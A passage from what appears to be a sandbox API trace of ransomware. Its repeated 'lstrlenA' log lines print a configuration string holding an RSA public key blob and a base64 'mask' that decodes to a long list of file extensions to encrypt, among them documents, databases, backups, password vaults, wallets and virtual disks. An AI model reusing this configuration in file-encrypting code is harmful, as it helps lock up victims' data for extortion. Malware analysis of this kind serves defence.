LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR